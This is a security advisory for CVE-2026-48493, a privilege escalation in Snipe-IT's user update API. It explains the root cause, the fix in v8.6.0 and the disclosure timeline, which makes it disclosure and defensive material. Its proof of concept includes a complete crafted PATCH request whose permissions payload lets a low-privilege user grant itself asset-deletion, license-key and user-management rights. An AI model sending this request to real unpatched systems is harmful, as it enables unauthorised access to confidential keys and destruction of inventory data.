Summary
CVE-2026-48493 affects Snipe-IT versions below 8.6.0. The user update API endpoint (PATCH /api/v1/users/{id}) does not sufficiently validate the permissions payload submitted by authenticated users. The PreserveUnauthorizedPrivilegedPermissionsAction class only strips superuser and admin flags from incoming requests; all other module-level permissions pass through without any restriction. As a result, an attacker with only the users.edit permission can send a crafted PATCH request to their own user record and grant themselves any combination of permissions — including assets.delete, licenses.keys, users.delete, and reports.view achieving near-full system access without administrator approval.
CVSS Score: 6.5 Moderate | CVE: CVE-2026-48493 | GHSA-52fw-7fw2-fmv5 | Authors: iltosec, tienneR
Vulnerability Details
Root Cause
The app/Actions/Permissions/PreserveUnauthorizedPrivilegedPermissionsAction.php file preserves only two of the system'''s permissions:
- superuser
- admin
PreserveUnauthorizedPrivilegedPermissionsAction only strips superuser and admin from incoming requests. All other module-level permissions (assets.view, assets.delete, licenses.keys, users.delete, reports.view, etc.) are applied directly from the attacker-controlled payload without any ownership or ceiling validation.
Affected Files
app/Actions/Permissions/PreserveUnauthorizedPrivilegedPermissionsAction.php— insufficient permission filteringapp/Http/Controllers/Api/UsersController.php— update() methodapp/Policies/SnipePermissionsPolicy.php— update authorization (users.edit alone is sufficient to reach the vulnerable code path)
Proof of Concept
Precondition
Attacker is an authenticated user with only users.edit and self.api permissions.
Step 1: Create the Attacker User
Log in as an Administrator, then navigate to Admin ➔ Users ➔ Create New User. Select only users.edit and self.api permissions.


Step 2: Login as attacker and Generate API Token
Generate a JWT API token for the low-privilege user account.

Step 3: Find Your User ID
You can find your own User ID by decoding the payload section (the middle part) of the JWT token.

Step 4: Escalate own permissions
PATCH /api/v1/users/9 HTTP/1.1
Host: 127.0.0.1:1337
Cache-Control: max-age=0
Content-Type: application/json
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9...
Connection: keep-alive
{
"permissions": "{"superuser":"0","admin":"0","import":"1","reports.view":"1","assets.view":"1","assets.create":"1","assets.edit":"1","assets.delete":"1","assets.checkin":"1","assets.checkout":"1","licenses.view":"1","licenses.create":"1","licenses.edit":"1","licenses.delete":"1","licenses.checkout":"1","licenses.checkin":"1","licenses.keys":"1","users.view":"1","users.create":"1","users.edit":"1","users.delete":"1","self.api":"1","kits.admin":"1"}"
}

Response: 200 OK. Attacker now holds all requested permissions.
Step 5: Verify escalated access

Impact
A successful exploit grants the attacker the following capabilities without any administrative approval:
assets.view/assets.delete— read and permanently delete the entire hardware inventorylicenses.keys— access confidential software license keysusers.view/users.create/users.delete— full user managementreports.view— access all audit logs and operational reportsconsumables.checkout/accessories.checkout— unauthorized resource allocation
The attacker cannot obtain superuser or admin status; the Settings panel and a small number of admin-only features remain inaccessible. All operational data and inventory management functions are otherwise fully compromised.
Fix
Update to Snipe-IT v8.6.0 or later immediately.
The fix enforces a permission ceiling: a user can only grant permissions they already hold. Anything in the incoming payload that the caller doesn't already possess is silently stripped before saving.
If you cannot patch immediately, audit which accounts currently hold users.edit and revoke it from any account that doesn't strictly require it. Until patched, treat any account with users.edit + self.api as a high-privilege combination.
Disclosure Timeline
| Date | Event |
|---|---|
| 2026-05-21 | Vulnerability discovered & Report submitted to Snipe-IT |
| 2026-05-21 | Vendor confirmed |
| 2026-05-22 | Correction submitted — permission ceiling enforcement |
| 2026-05-22 | Patch committed (PR #19024) |
| 2026-05-28 | CVE-2026-48493 assigned, advisory published |
| 2026-05-28 | v8.6.0 released |